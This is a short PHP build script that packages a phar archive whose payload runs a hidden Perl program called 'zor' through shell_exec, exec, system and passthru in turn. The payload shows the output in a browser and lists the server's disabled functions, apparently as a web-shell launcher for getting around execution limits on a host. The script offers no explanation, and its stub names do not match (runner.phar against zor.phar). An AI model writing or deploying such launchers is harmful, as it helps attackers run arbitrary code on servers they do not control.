<?php

$pharFile = 'zor.phar';

if (file_exists($pharFile)) {
    unlink($pharFile);
}

$phar = new Phar($pharFile);
$phar->startBuffering();

$code = <<<'PHP'
<?php

echo "<pre>";

$cmd = "perl zor 2>&1";

/* =========================
 * shell_exec()
 * ========================= */
if (function_exists('shell_exec')) {
    echo "=== shell_exec output ===\n";

    $output = shell_exec($cmd);

    if ($output === null) {
        echo "shell_exec is disabled or command failed.\n";
    } else {
        echo $output;
    }
} else {
    echo "shell_exec() is disabled on this server.\n";
}

echo "\n";

/* =========================
 * exec()
 * ========================= */
if (function_exists('exec')) {
    echo "=== exec output ===\n";

    $output = [];
    $return_var = 0;

    exec($cmd, $output, $return_var);

    if ($return_var !== 0) {
        echo "Command failed with status $return_var\n";
    } else {
        foreach ($output as $line) {
            echo $line . "\n";
        }
    }

    echo "Exit status: $return_var\n";
} else {
    echo "exec() is disabled on this server.\n";
}

echo "\n";

/* =========================
 * system()
 * ========================= */
if (function_exists('system')) {
    echo "=== system output ===\n";

    $return_var = 0;
    system($cmd, $return_var);

    echo "\nExit status: $return_var\n";
} else {
    echo "system() is disabled on this server.\n";
}

echo "\n";

/* =========================
 * passthru()
 * ========================= */
if (function_exists('passthru')) {
    echo "=== passthru output ===\n";

    $return_var = 0;
    passthru($cmd, $return_var);

    echo "\nExit status: $return_var\n";
} else {
    echo "passthru() is disabled on this server.\n";
}

echo "\n";

/* =========================
 * disabled_functions check
 * ========================= */
echo "=== PHP Configuration ===\n";

$disabled = ini_get('disable_functions');

if (!empty($disabled)) {
    echo "Disabled functions:\n";
    echo $disabled . "\n";
} else {
    echo "No disabled functions listed in disable_functions.\n";
}

echo "</pre>";
PHP;

$phar->addFromString('zor.php', $code);

$stub = <<<'PHP'
#!/usr/bin/env php
<?php
Phar::mapPhar('runner.phar');
require 'phar://zor.phar/zor.php';
__HALT_COMPILER();
PHP;

$phar->setStub($stub);

$phar->stopBuffering();

echo "Created runner.phar\n";
